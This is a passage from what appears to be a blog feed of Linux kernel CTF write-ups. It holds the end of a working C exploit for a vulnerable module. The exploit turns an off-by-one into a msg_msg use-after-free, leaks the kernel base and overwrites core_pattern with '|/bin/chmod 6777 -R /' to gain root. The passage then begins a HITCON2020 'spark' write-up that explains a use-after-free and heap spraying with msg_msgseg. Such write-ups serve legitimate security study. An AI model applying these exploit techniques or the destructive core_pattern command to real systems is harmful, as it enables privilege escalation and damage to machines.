  return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &amp;amp;req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &amp;amp;req);
}

int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
  char* buf = temp_buf;
  buf[target_obj_size - 1] = 0;
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, i, target_obj_size - 0x30);
    send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
  }
  recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
  vuln_dev_alloc_new_note(target_obj_size);

  memset(buf, 0, target_obj_size);
  vuln_dev_write_note(buf, target_obj_size);  // Trigger off-by-one
  vuln_dev_delete_note();

  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, 0, target_obj_size);
    vuln_dev_delete_note();
    int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
    if (*buf == &amp;#39;A&amp;#39;) {
      return -(i + 1);
    } else if (i == 0x10 - 1) {
      fatal(&amp;#34;[-] Failed to find UAF msg_msg&amp;#34;);
    }

    vuln_dev_alloc_new_note(target_obj_size);
    memset(buf, 0, target_obj_size);
    struct msg_msg* fake_msg = (struct msg_msg*)buf;
    fake_msg-&amp;gt;next = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;prev = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;m_type = 1;
    fake_msg-&amp;gt;m_ts = target_obj_size;
    memset(fake_msg-&amp;gt;data, &amp;#39;A&amp;#39;, 1);
    vuln_dev_write_note(buf, target_obj_size);
  }

  return 1;
}

/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
  int ret;
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));
  struct msg_msg* uaf_msg = (struct msg_msg*)buf;
  uaf_msg-&amp;gt;next = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;prev = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;m_type = 1;
  uaf_msg-&amp;gt;m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
  uaf_msg-&amp;gt;next_data = (struct msg_msgseg*)(addr - 8);
  vuln_dev_write_note(buf, target_obj_size);

  char temp_buf[0x2000];
  ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
  memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
         size - 8);
}

static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
                                               char* temp_buf,
                                               uint64_t* out_uaf_chunk_addr,
                                               uint64_t* out_kernel_base) {
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));

  *out_uaf_chunk_addr = 0;
  *out_kernel_base = 0;

  limited_aar(temp_buf, pre_uaf_msg_addr,
              0x1000 - offsetof(struct msg_msgseg, data));

  vuln_dev_read_note(buf, target_obj_size);
  *out_uaf_chunk_addr = *(uint64_t*)buf;

  uint64_t* uint64_buf = (uint64_t*)temp_buf;
  for (int i = 0; i &amp;lt; (0x2000 - offsetof(struct msg_msg, data) -
                       offsetof(struct msg_msgseg, data)) /
                          8;
       ++i) {
    if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
      uint64_t min_addr = uint64_buf[i] &amp;amp; KERNEL_BASE_MASK;
      if (*out_kernel_base == 0 || min_addr &amp;lt; *out_kernel_base) {
        *out_kernel_base = min_addr;
      }
    }
  }

  if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
    return -1;
  }
  return 0;
}

int main() {
  vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  target_obj_size = 0x80;
  char buf[target_obj_size];
  uint64_t* uint64_buf = (uint64_t*)buf;
  memset(buf, 0, sizeof(buf));

  msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }
  fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_msgmsg == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  printf(&amp;#34;[*] fake_msgmsg: %p\n&amp;#34;, fake_msgmsg);

  uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
  if (uaf_msgmsg_mtype &amp;gt; 0) {
    printf(&amp;#34;[-] Failed to find UAF msg_msg\n&amp;#34;);
    return -1;
  }
  uint64_t prev_uaf_msg = uint64_buf[88 / 8];
  printf(&amp;#34;[+] Found UAF msg_msg with mtype: %d\n&amp;#34;, uaf_msgmsg_mtype);
  printf(&amp;#34;    [*] Now note is same as UAF msg_msg\n&amp;#34;);
  printf(&amp;#34;    [*] The prev of UAF msg_msg is 0x%016lx\n&amp;#34;, prev_uaf_msg);
  vuln_dev_alloc_new_note(target_obj_size);

  printf(&amp;#34;[*] Leaking UAF chunk addr and kernel base...\n&amp;#34;);
  char* temp_buf = malloc(0x2000);
  uint64_t uaf_chunk_addr, kernel_addr;
  if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
                                          &amp;amp;uaf_chunk_addr, &amp;amp;kernel_addr) &amp;lt; 0) {
    printf(&amp;#34;    [-] Failed to leak uaf chunk addr and kernel base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;    [+] Found UAF chunk address: 0x%016lx\n&amp;#34;, uaf_chunk_addr);
  printf(&amp;#34;    [+] Found kernel address: 0x%016lx\n&amp;#34;, kernel_addr);

  printf(&amp;#34;[*] Overwrite free list to overwrite modprobe_path\n&amp;#34;);
  int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid2 &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }

  uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
  printf(&amp;#34;    [*] Overwriting free list at 0x%016lx to 0x%016lx\n&amp;#34;,
         uaf_chunk_addr, next_free_chunk);
  vuln_dev_write_note(&amp;amp;next_free_chunk, 8);
  printf(&amp;#34;    [*] Consume chunks in free list&amp;#34;);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
  vuln_dev_delete_note();
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
  printf(&amp;#34;    [*] Now allocate note with addr=0x%016lx\n&amp;#34;, next_free_chunk);
  vuln_dev_alloc_new_note(0x80);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  memset(temp_buf, 0, 0x2000);
  strcpy(temp_buf + 8, new_core_pattern);
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;\n&amp;#34;, new_core_pattern);
  vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));

  {
    int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
    char core[0x100];
    read(fd, core, sizeof(core));
    if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
      printf(&amp;#34;    [-] Failed to overwrite core_pattern (core_pattern=\&amp;#34;%s\&amp;#34;)\n&amp;#34;,
             core);
      return -1;
    }
  }

  printf(&amp;#34;    [+] Successfully overwrite core_pattern\n&amp;#34;);

  printf(&amp;#34;[*] Trigger core_pattern\n&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeef;
  *evil = 0;

  close(vuln_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&#34;&gt;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>HITCON2020 spark</title>
      <link>/posts/kernel/write-ups/ctf/hitcon2020-spark/</link>
      <pubDate>Tue, 18 Feb 2025 15:33:22 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/hitcon2020-spark/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source&#34;&gt;&lt;code&gt;5.9.11&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No SMEP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The source code of module is not provided, but the challenge gives us the demo program using it.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;516873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;516873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-demo.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/*
 * This is a demo program to show how to interact with SPARK.
 * Don&amp;#39;t waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/spark.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define DEV_PATH &amp;#34;/dev/node&amp;#34;

#define N 6
static int fd[N];
const char l[] = &amp;#34;ABCDEF&amp;#34;;

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf(&amp;#34;Creating link between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; with weight %u\n&amp;#34;, l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight &amp;lt;&amp;lt; 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &amp;amp;qry) == 0);
  printf(&amp;#34;The length of shortest path between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; is %lld\n&amp;#34;, l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i &amp;lt; N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] &amp;gt;= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i &amp;lt; N; i++) close(fd[i]);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;As we can see in &lt;code&gt;demo.c&lt;/code&gt;, this module is for a shortest path search.
And each node can be allocated by &lt;code&gt;open&lt;/code&gt; and two nodes can be linked by &lt;code&gt;link&lt;/code&gt;. The searching path is done by &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source&#34;&gt;&lt;code&gt;5.9.11&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No SMEP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The source code of module is not provided, but the challenge gives us the demo program using it.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;516873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;516873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-demo.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/*
 * This is a demo program to show how to interact with SPARK.
 * Don&amp;#39;t waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/spark.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define DEV_PATH &amp;#34;/dev/node&amp;#34;

#define N 6
static int fd[N];
const char l[] = &amp;#34;ABCDEF&amp;#34;;

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf(&amp;#34;Creating link between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; with weight %u\n&amp;#34;, l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight &amp;lt;&amp;lt; 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &amp;amp;qry) == 0);
  printf(&amp;#34;The length of shortest path between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; is %lld\n&amp;#34;, l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i &amp;lt; N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] &amp;gt;= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i &amp;lt; N; i++) close(fd[i]);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;As we can see in &lt;code&gt;demo.c&lt;/code&gt;, this module is for a shortest path search.
And each node can be allocated by &lt;code&gt;open&lt;/code&gt; and two nodes can be linked by &lt;code&gt;link&lt;/code&gt;. The searching path is done by &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I think these are all knowlege which we can know from &lt;code&gt;demo.c&lt;/code&gt;. So I do reserving &lt;code&gt;spark.ko&lt;/code&gt;.
The module has 4 features: link, finalize, query, get_info.&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;The vulnerability is in &lt;code&gt;spark_node_put&lt;/code&gt;. When we &lt;code&gt;close&lt;/code&gt; the node and if the reference count is one, &lt;code&gt;free&lt;/code&gt; the node itself and its double linked list nodes.
But when &lt;code&gt;free&lt;/code&gt; the node, the node in other node (which is linked with the closed node) is not freed.&lt;/p&gt;
&lt;p&gt;For example, we allocate 2 nodes(node A and node B) via &lt;code&gt;open&lt;/code&gt; and link them.
The node A&amp;rsquo;s fd and bk has the pointer to node B. And of course, node B has the pointer to node A in fd and bk.
After linking, if we &lt;code&gt;close&lt;/code&gt; node B, the node B is free-ed but the pointer in node A is not deleted.&lt;/p&gt;
&lt;p&gt;The fd and bk in each node are used in &lt;code&gt;spark_node_finalize&lt;/code&gt; and &lt;code&gt;spark_graph_query&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;trigger-uaf&#34;&gt;Trigger UAF&lt;/h3&gt;
&lt;p&gt;As I explained in above, the UAF can be caused by following code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(fds) &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open&lt;/span&gt;(VULN_DEV_NAME, O_RDONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_link&lt;/span&gt;(fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;], &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;build-fake-node&#34;&gt;Build fake node&lt;/h3&gt;
&lt;p&gt;The structure of node and linked list node is like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; target;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; weight;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; ref_cnt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; __padding_0;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; start_lock[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; is_finalized;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; __padding_1;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; nb_lock[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; link_cnt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx_in_table;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_table_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; node_table;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the invalid values in &lt;code&gt;spark_node_t&lt;/code&gt; may cause crash. And with several tries I found if &lt;code&gt;start_lock&lt;/code&gt; is zeros and bk and fd is correctly set, crash does not occurs.&lt;/p&gt;
&lt;p&gt;So, I try finding proper object which can control UAF object and I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.
It allocated by user-defined length and user&amp;rsquo;s data. And the best thing is it can be fully controlled by user!! (except first 8 bytes).
Because the first 8 bytes of &lt;code&gt;spark_node_t&lt;/code&gt; is index of each node, it can be set any value.&lt;/p&gt;
&lt;p&gt;Now we can control the UAF node by &lt;code&gt;struct msg_msgseg&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;prevent-crash-while-finalize&#34;&gt;Prevent crash while finalize&lt;/h4&gt;
&lt;p&gt;By using &lt;code&gt;struct msg_msgseg&lt;/code&gt; and set &lt;code&gt;start_lock&lt;/code&gt; with zeros, the crash in &lt;code&gt;mutex_lock&lt;/code&gt; can be prevented.
But there is the traversal mechanism which travel the linked nodes in &lt;code&gt;traversal&lt;/code&gt;.
The traversal ends when &lt;code&gt;&amp;amp;node-&amp;gt;bk == cur_node-&amp;gt;bk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Since we does not know the address of node, we cannot stop the traversal and this occurs the crash&amp;hellip;.
However differ my expectation, the crash does not reboot the OS and print kernel&amp;rsquo;s registers!
Morever in the kernel&amp;rsquo;s registers there is the address of UAF node (R13).&lt;/p&gt;
&lt;p&gt;With this observation, I crash the kernel several times and the address of UAF node may not be changed.
So I think I can use it.&lt;/p&gt;
&lt;p&gt;After one crashing, I set bk and fd with the value of R13+0x60 (this is R12 of panic information) and execute the program, no crash occurs in &lt;code&gt;traversal&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;make-invalid-node-table-by-finalize&#34;&gt;Make invalid node table by finalize&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;spark_node_finalize&lt;/code&gt; function makes the node table and set each linked node&amp;rsquo;s index in the table.
For example, the graph is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    B -- 10 -- D
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   / \ 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  4   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; /    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A     5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; \    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  2   |
